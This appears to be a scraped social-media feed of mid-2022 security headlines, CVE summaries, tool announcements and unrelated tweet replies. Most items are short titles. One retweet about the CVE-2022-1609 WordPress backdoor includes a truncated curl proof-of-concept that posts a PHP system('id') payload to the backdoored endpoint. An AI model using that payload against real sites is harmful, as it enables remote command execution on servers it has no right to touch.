Re @MorboAalst

Re @5h3r1ock

Re @muthumohan12 Pure evil!

You visit your best friends 👯‍♀️ Their mom lets you in 💃🏻 You don't find them but you see that their computer is unlocked 💻 What do you...

Re @beginnbounty Thank you! 🤩🙏🏾

FindFunc - Advanced Filtering/Finding of Functions in IDA Pro

SMB Session Spoofing: create a fake SMB Session

Malware-Infested Smart Card Reader

Google shut down caching servers at two Russian ISPs

Critical 'Pantsdown' BMC Vulnerability Affects QCT Servers Used in Data Centers

Experts Warn of Rise in ChromeLoader Malware Hijacking Users' Browsers

Burp Suite 2022.5 released to the Early Adopter channel. Burp Scanner can now detect a number of JWT-based vulnerabilities, and the BApp Store now pro...

CVE-2021-42860 A stack buffer overflow exists in Mini-XML v3.2. When inputting an unformed XML string to the mxmlLoadString API, it will cause a stack...

CVE-2021-40317 Piwigo 11.5.0 is affected by a SQL injection vulnerability via admin.php and the id parameter.

CVE-2021-42859 A memory leak issue was discovered in Mini-XML v3.2 that could cause a denial of service.

CVE-2021-42692 There is a stack-overflow vulnerability in tinytoml v0.4 that can cause a crash or DoS.

CVE-2022-1664 Dpkg::Source::Archive in dpkg, the Debian package management system, before version 1.21.8, 1.20.10, 1.19.8, 1.18.26 is prone to a direc...

Re @JaneidyEve @stevenmarkryan If I were to own Twitter, it would be geared towards the middle 80% of the population, so technically the far left and ...

RT Iain Smart: Absolutely delighted to say that I'll be presenting @NCCGroupInfosec's research into CI/CD attacks along with @wucpi at @BlackHatEvents...

Re @vxugpassword Very cool, thanks

Re @msPartner your portal is garbage.

offensive azure: Collection of offensive tools targeting Microsoft Azure

Security Code Audit - For Fun and Fails

Exploiting Leaked Handles for LPE

Malware Triage Tips: How To Stop Wasting Time in IDA On Packed Samples [OALABS Twitch Clip]

Automating Azure Abuse Research — Part 1

Darknet market Versus shuts down after hacker leaks security flaw

CRLFsuite: Fast CRLF injection scanning tool

VirtualBox leaks host ring 0 SIMD registers into guest ring 3

Verizon: Ransomware sees biggest jump in five years

Manipulating Machine-Learning Systems through the Order of the Training Data

The printer goes brrrrr!!!

Tails 5.0 Linux users warned against using it "for sensitive information"

How Secrets Lurking in Source Code Lead to Major Breaches

Lumos System Can Find Hidden Cameras and IoT Devices in Your Airbnb or Hotel Room

Frida-Ios-Hook - A Tool That Helps You Easy Trace Classes, Functions, And Modify The Return Values Of Methods On iOS Platform

FTC fines Twitter $150M for using 2FA info for targeted advertising

Zoom RCE via "xmpp stanza smuggling"

Ransomware grounds some flights at Indian budget airline SpiceJet

Secure Code Review -1 | Cheat sheet For Security Vulnerability In Python — Injection Flaws

Amart Furniture - 108,940 breached accounts

Millions of people's info stolen from MGM Resorts dumped on Telegram for free

RT 张惠倩: CVE-2022-1609 WordPress Weblizar Backdoor $ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/licen...

Re @defparam Thanks a lot for the explanation! I'll try (again) a bit later!

Re @defparam Looks super interesting. Noob question probably (sorry): How would you use this practically? Like what buttons to click to get it to list...

RT Evan 🇺🇦: Example of using Turbo Intruder in a "listen and attack" mode. A hidden secret: you can have turbo intruder scripts use the burp plu...

CVE-2021-4231 A vulnerability was found in Angular up to 11.0.4/11.1.0-next.2. It has been classified as problematic. Affected is the handling of comm...

CVE-2021-34360 A cross-site request forgery (CSRF) vulnerability has been reported to affect QNAP device running Proxy Server. If exploited, this vuln...

Re @AJDelgado13 Assault rifles should at minimum require a special permit, where the recipient is extremely well vetted imo

Re @occupymars42069 A bit sad tbh

Re @aaronjcash @WholeMarsBlog @brandonee916 @vincent13031925 @SpaceX Some good Cox jokes in this thread

Re @IvanEscobosa @aaronjcash @WholeMarsBlog @brandonee916 @vincent13031925 @SpaceX Absolutely. With competition, the consumer is the winner.

Re @aaronjcash @WholeMarsBlog @brandonee916 @vincent13031925 @SpaceX 🤣

Re @rad9800 @jonasLyk This is a method first noted by @modexpblog about 2 (or more) years ago.

Feed your mind with knowledge, not garbage.

Re @Vedant_Bahel I'm 21 and Vegetarian. She is Non-vegetarian. What do I do?

CSS is my favorite programming language. ❤️

Which is more difficult? Frontend or Backend?

Re @guhe120 保重QQ